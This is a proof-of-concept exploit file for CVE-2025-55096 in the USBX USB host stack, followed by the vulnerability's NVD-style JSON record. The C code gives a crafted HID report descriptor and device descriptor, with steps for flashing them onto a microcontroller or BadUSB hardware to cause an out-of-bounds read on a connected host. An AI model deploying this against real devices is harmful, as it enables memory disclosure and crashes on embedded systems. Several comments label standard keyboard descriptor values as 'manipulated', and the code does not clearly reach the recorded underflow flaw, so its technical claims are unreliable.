CVE-2025-55096

// CVE-2025-55096 PoC - Malicious USB HID Report Descriptor // This is a conceptual PoC demonstrating the out-of-bounds read trigger // in _ux_host_class_hid_report_descriptor_get() of USBX < 6.4.3 // // To exploit: Flash this descriptor onto a USB HID-capable device // (e.g., a microcontroller-based USB device like STM32, Teensy, or // a BadUSB-style hardware). When connected to a target running // vulnerable USBX, the host will parse this descriptor and trigger // the OOB read. #include <stdint.h> // Malicious HID Report Descriptor // The key is to craft a descriptor with manipulated length fields // that exceed the actual allocated buffer, causing OOB read in // _ux_host_class_hid_report_descriptor_get() static const uint8_t malicious_hid_report_descriptor[] = { // Usage Page (Generic Desktop) 0x05, 0x01, // Usage (Keyboard) - identifies as a HID keyboard 0x09, 0x06, // Collection (Application) 0xA1, 0x01, // Usage Page (Key Codes) 0x05, 0x07, // Usage Minimum (224) 0x19, 0xE0, // Usage Maximum (231) - manipulated to extend read scope 0x29, 0xE7, // Logical Minimum (0) 0x15, 0x00, // Logical Maximum (255) 0x26, 0xFF, 0x00, // Report Size (1) 0x75, 0x01, // Report Count (8) - intentionally crafted length to trigger OOB 0x95, 0x08, // Input (Data, Variable, Absolute) - Modifier byte 0x81, 0x02, // Report Count (5) - further extending descriptor length 0x95, 0x05, // Report Size (1) 0x75, 0x01, // Input (Constant) - Reserved 0x81, 0x01, // Report Count (6) 0x95, 0x06, // Report Size (8) 0x75, 0x08, // Input (Data, Variable, Absolute) - Key arrays (6 bytes) 0x81, 0x02, // End Collection 0xC0, // Additional padding with crafted length bytes to trigger OOB read // These bytes will cause the parser to read beyond buffer boundaries 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 0x09, 0x01, // Usage (Vendor Usage 1) 0xA1, 0x01, // Collection (Application) 0x85, 0xFF, // Report ID (255) 0x95, 0xFF, // Report Count (255) - OOB trigger 0x75, 0x08, // Report Size (8) 0x81, 0x02, // Input (Data, Variable, Absolute) 0xC0 // End Collection }; // Device descriptor for the malicious USB HID device static const uint8_t device_descriptor[] = { 0x12, // bLength: 18 bytes 0x01, // bDescriptorType: DEVICE 0x10, 0x01, // bcdUSB: USB 1.1 0x00, // bDeviceClass: Use class info in Interface Descriptor 0x00, // bDeviceSubClass 0x00, // bDeviceProtocol 0x08, // bMaxPacketSize0: 8 bytes 0x34, 0x12, // idVendor: 0x1234 (test vendor) 0x78, 0x56, // idProduct: 0x5678 0x00, 0x01, // bcdDevice: 1.00 0x01, // iManufacturer 0x02, // iProduct 0x00, // iSerialNumber 0x01 // bNumConfigurations: 1 }; /* * Exploitation Steps: * 1. Program a USB-capable microcontroller (e.g., STM32, RP2040, Teensy) * with the above descriptors to emulate a malicious HID device. * 2. Connect the malicious device to the target system running USBX < 6.4.3. * 3. The USBX host stack will enumerate the device and call * _ux_host_class_hid_report_descriptor_get() to parse the report descriptor. * 4. The crafted length fields (Report Count = 255, etc.) cause the parser * to read beyond the allocated descriptor buffer, triggering OOB read. * 5. Sensitive data from adjacent memory may be exposed, and/or the system * may crash due to the out-of-bounds access. * * Note: Physical access to the target's USB port is required (AV:P). */

{"cve": {"id": "CVE-2025-55096", "sourceIdentifier": "[email protected]", "published": "2025-10-17T06:15:35.630", "lastModified": "2025-10-23T12:32:46.373", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In USBX before 6.4.3, the USB support module for Eclipse Foundation ThreadX, there was a potential out of bound read issue in _ux_host_class_hid_report_descriptor_get()\n when parsing a descriptor of an USB HID device."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:H/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.1, "baseSeverity": "LOW", "attackVector": "LOCAL", "attackComplexity": "HIGH", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "LOW", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H", "baseScore": 6.1, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-191"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:eclipse:threadx_usbx:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.4.3.202503", "matchCriteriaId": "B8C9E3B8-8960-4282-AF07-5D2F56DBCD5F"}]}]}], "references": [{"url": "https://github.com/eclipse-threadx/usbx/security/advisories/GHSA-8m9v-jvjp-gmxq", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}